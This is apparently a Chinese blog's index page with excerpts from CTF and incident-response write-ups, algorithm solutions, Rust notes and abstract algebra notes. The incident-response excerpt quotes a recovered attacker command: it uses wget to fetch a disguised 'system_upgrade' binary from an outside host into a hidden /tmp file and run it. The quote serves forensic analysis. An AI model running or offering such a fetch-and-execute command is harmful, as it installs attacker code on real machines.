第一届OpenHarmony CTF WP
Misc 可惜了,网断了一会,没有抢到血 软总线流量分析取证 1 打开任务书 OpenHarmony 设备 ip:192.168.3.208/192.168.3.209 已知两个设备的名字是相同的,它们的名字是什么?(如果设备名中有空格则用_替代,例如 Name 1.0 写为 Name_1.0) suspicious_traffic.pcap流量所对应的应用程序是什么?(英文名词单词,如 application) 目标设备的分布式设备管理组件版本号是什么?(如 1.1.1) 通信过程使用的软总线版本号是多少?(如 999) 使用 Wireshark 分析流量包,由协议分析统计可知应该追踪 TCP 流 使用tcp.stream eq挨个查看,可以看到前几个都标了 fake,直到tcp.stream eq 5出现了一次 http 请求,随后连接了connectivitycheck.platform.hicloud.com 在之后的流tcp.stream eq 7出现了我们需要的数据包 由"targetDeviceName":"OpenHar...
ISCC2025 Stage2 WP
ISCC 的部分 Mobile+Misc WP,练武区域赛+总决赛。misc 过于逆天,尤其是神经网络和八卦 😅 也是赤完了 部分附件下载链接(提取码 iscc):百度网盘 Stage 1: ISCC2025 Stage1 WP Mobile 邦布出击 下载附件,有一个 apk 和一个 sqlite 数据库,数据库无法直接打开,被加密了。 首先 jadx 反编译 apk,分析代码可知,flag 内容为对(a, "WhItenet", getiv())DES 加密 其中getiv()是MainActivity类下的一个 native 层函数,可以直接 hook 调用 a类调用了b.b()方法得到一段 Blowfish 加密字符串,key 未知 在dH类可找到几段 base64,解密较长的两段可得到提示三次加密及一个假 flag。随后将三段短的字符串拼接,连续解 3 次 base64,可以得到一个 key 尝试用这个 key 打开加密数据库,成功 在数据库内可以得到一个新的 key:CdEfGhIjKlMnOpQr 下面的 unicode 提示 key 是...
第二届Parloo杯应急响应线下赛
拓扑图 主要工具:R-Studio,取证大师,CTF-NetA,Wireshark 攻击者 IP 地址 1(内网) 查看 Server3 里的/var/log/nginx/error.log flag{192.168.162.134} 攻击者 IP 地址 2(公网) 进入 WindowsPC,提交地址栏内找到的 ip。也可以在网络服务缓存内找到。 flag{111.170.148.147} flag1 在 Server1 的/root/.ssh/authorized_keys内找到 flag1。此外,很多 flag 可以利用取证大师或 XWF 直接全局搜索搜出来 flag{redis_attack_zgsfsys} flag2 在 Server1 的/tmp/hack文件内找到 flag2{Hack_Base_area} flag3 用 X-Ways 全局搜索 flag3 找到黑客传输的 flag3.txt,取证大师搜不到 flag{666hackis888999} flag4 ...
ISCC2025 Stage1 WP
ISCC 练武校级赛和擂台部分 WP,主要是 Mobile 和 Misc 部分附件下载链接(提取码 iscc):百度网盘 Stage 2: ISCC2025 Stage2 WP 练武 Misc 书法大师 下载附件,图片属性内找到字符串L9k8JhGfDsA,binwalk 发现一个压缩包(其实一开始的附件里有一堆压缩包,但只有 1-50 或 45 才有用),拿字符串解密得到 message45.txt,内容如下 1右女 丙色 太歌 从少 生乙 女下 没个 没医 石成 男真 那比 市尖 丙比 成慢 作〇 切厂 石站 马〇 片摔 尖趣 耳回 石乙 女群 工睡 猜测是和笔画数有关,两个一组,写个脚本用cnchar-data查询 12345678910111213141516171819202122232425import requestsfrom urllib import parseimport jsonurl = "https://unpkg.com/cnchar-data@1.1.0/draw/"output = ''data = &quo...
2025长城杯半决赛 应急响应复现
ISW-1 小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取 flag 文件。 题目 1:找出主机上木马回连的主控端服务器 IP 地址[不定时(3~5 分钟)周期性],并以 flag{MD5}形式提交,其中 MD5 加密目标的原始字符串格式 IP:port。 下载镜像,使用 R-Studio 打开 在/home/ubuntu目录下可以看到被删除的1.txt文件 1wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade 联想背景中提及的更新操作,再翻看.viminfo查看命令模式下执行的历史命令,可以看到以下文件被更新 12/etc/systemd/system...
几道算法题解
好久没写算法题了,一写才发现自己真忘光了。还好这几题基本上都是暴力题( 头痛好想睡觉 A-子串分值 第一题一看就有点蒙,读完题发现不难,然后写了个暴力,过了样例,然后很显然地 TLE 了 于是写了个简单的记忆优化,但复杂度还是 O(n2logn)O(n^2logn)O(n2logn) ,所以又爆了 爆两次之后仔细分析了一下,他要求的字符串中总共就 26 个字母,我们不妨从字符出发,求每个字符的贡献度。例如样例是ababc的话,对于第一个a贡献度就是 2,第二个b贡献度就是 4,以此类推。 因为该字符能做出贡献的 substr 中一定只包含一个它,所以我们往左右两边找上一个和下一个它即可。而贡献度 DiD_iDi 的计算方式可由乘法原理得: Di=(i−l)(r−i)D_i=(i-l)(r-i) Di=(i−l)(r−i) 也就是左边字符数+1 乘右边字符数+1。而把两个乘数算出来再相乘的复杂度应该是O(n)O(n)O(n),按理说是可以过的 那为什么没过呢,因为我忘记开long long了 XD 代码如下 12345678910111213141516171819202122...
Rust学习笔记
声明 笔记均为个人撰写,只用于记录自己学习时遇到的问题,不定期更新 推荐的 Rust 教程: Rust 语言圣经(Rust Course) 通过例子学 Rust Rust 程序设计语言 看新不看旧,Rust 2024 Edition 已发布,建议在配置环境及后续学习时选用 1.84 及以上的版本 修改 Rust 下载镜像源 Rust 默认镜像源为crates.io,有时下载速度过慢,可换用国内镜像源 在$HOME/.cargo/config.toml添加 ustc 镜像源 12[registries]ustc = { index = "https://mirrors.ustc.edu.cn/crates.io-index/" } 使用稀疏索引 12[source.ustc]registry = "sparse+https://mirrors.ustc.edu.cn/crates.io-index/" 引入依赖时(例如time),在Cargo.toml中添加 12[dependencies]time = { r...
抽象代数学习笔记
群论(Group Theory) 群的定义 设 GGG 为非空集合,其上有二元运算⋅:G×G→G\cdot :G \times G \to G⋅:G×G→G,如果它们满足以下性质,则称 (G,⋅)(G,\cdot )(G,⋅)是一个群(group),简称群 GGG: 结合律:∀a,b,c∈G,a⋅(b⋅c)=(a⋅b)⋅c\forall a,b,c \in G,a \cdot (b \cdot c) = (a \cdot b) \cdot c∀a,b,c∈G,a⋅(b⋅c)=(a⋅b)⋅c. 有单位元:∃e∈G,∀a∈G,a⋅e=e⋅a=a\exists e \in G,\forall a \in G,a \cdot e = e \cdot a = a∃e∈G,∀a∈G,a⋅e=e⋅a=a.这里eee被称为群GGG的单位元,也可称作幺元. 有逆元:∀a∈G,∃b∈G,a⋅b=b⋅a=e\forall a \in G,\exists b \in G,a \cdot b=b \cdot a=e∀a∈G,∃b∈G,a⋅b=b⋅a=e.这里bbb被称为aaa的逆元,也可以记作a−1a^...
